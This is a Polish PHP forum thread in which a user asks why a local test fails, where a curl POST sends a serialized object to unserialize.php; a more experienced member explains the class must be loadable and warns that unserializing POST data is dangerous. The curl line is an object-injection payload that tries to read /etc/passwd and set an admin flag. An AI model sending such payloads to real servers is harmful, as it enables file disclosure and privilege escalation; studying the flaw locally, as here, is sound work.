![]() |
![]() ![]() |
![]() |
![]()
Post
#1
|
|
Grupa: Zarejestrowani Postów: 3 Pomógł: 0 Dołączył: 19.09.2020 Ostrzeżenie: (0%) ![]() ![]() |
Moj kod wyklada tak:
Przy wyslaniu zadania do serwera: curl -XPOST -d "serial=O:4:"User":2:{s:8:"username";O:8:"ReadFile":1:{s:8:"filename";s:11:"/etc/passwd";}s:7:"IsAdmin";b:1;}" 127.0.0.1/unserialize.php dostaje blad: [Sat Sep 19 08:09:52 2020] PHP Notice: unserialize(): Error at offset 0 of 89 bytes in /home/sysagent/php/unserialize.php on line 21 [Sat Sep 19 08:09:52 2020] PHP Fatal error: Uncaught Error: Call to a member function PrintData() on bool in /home/sysagent/php/unserialize.php:23 Stack trace: #0 {main} thrown in /home/sysagent/php/unserialize.php on line 23 [Sat Sep 19 08:09:52 2020] 127.0.0.1:43500 [500]: POST /unserialize.php - Uncaught Error: Call to a member function PrintData() on bool in /home/sysagent/php/unserialize.php:23 Stack trace: #0 {main} thrown in /home/sysagent/php/unserialize.php on line 23 [Sat Sep 19 08:09:52 2020] 127.0.0.1:43500 Closing Gdzie lezy blad w moim kodzie? |
|
|
![]()
Post
#2
|
|
Grupa: Zarejestrowani Postów: 6 376 Pomógł: 1116 Dołączył: 30.08.2006 Ostrzeżenie: (0%) ![]() ![]() |
-------------------- |
|
|
![]()
Post
#3
|
|
Grupa: Zarejestrowani Postów: 3 Pomógł: 0 Dołączył: 19.09.2020 Ostrzeżenie: (0%) ![]() ![]() |
Dziekuje, ale chyba dalej nie rozumiem w czym polega problem. |
|
|
![]()
Post
#4
|
|
Grupa: Zarejestrowani Postów: 6 376 Pomógł: 1116 Dołączył: 30.08.2006 Ostrzeżenie: (0%) ![]() ![]() |
W pliku w którym robisz unserialize masz zdefiniowaną klasę User? Ogólnie to unserilize z post jest niebezpieczne.
-------------------- |
|
|
![]()
Post
#5
|
|
Grupa: Zarejestrowani Postów: 3 Pomógł: 0 Dołączył: 19.09.2020 Ostrzeżenie: (0%) ![]() ![]() |
W pliku w którym robisz unserialize masz zdefiniowaną klasę User? Ogólnie to unserilize z post jest niebezpieczne. Wydaje mi sie w POSTcie wysylam obiekt "User" curl -XPOST -d "serial=O:4:"User":2:{s:8:"username";O:8:"ReadFile":1:{s:8:"filename";s:11:"/etc/passwd";}s:7:"IsAdmin";b:1;}" 127.0.0.1/unserialize.php Tak wiem ze to nie jest niebezpieczne. Chce przetestowac konsekwencje Ten post edytował kyloren 19.09.2020, 18:30:22 |
|
|
![]()
Post
#6
|
|
Grupa: Zarejestrowani Postów: 6 376 Pomógł: 1116 Dołączył: 30.08.2006 Ostrzeżenie: (0%) ![]() ![]() |
No tak. Ale wysyłasz properties. Metod nie i nie da się. Żeby odtworzyć php musi wiedzieć jak wygląda te klasa więc musi np być dostępna dla autoloadera.
-------------------- |
|
|
![]() ![]() |
![]() |
Wersja Lo-Fi | Aktualny czas: 27.04.2025 - 07:37 |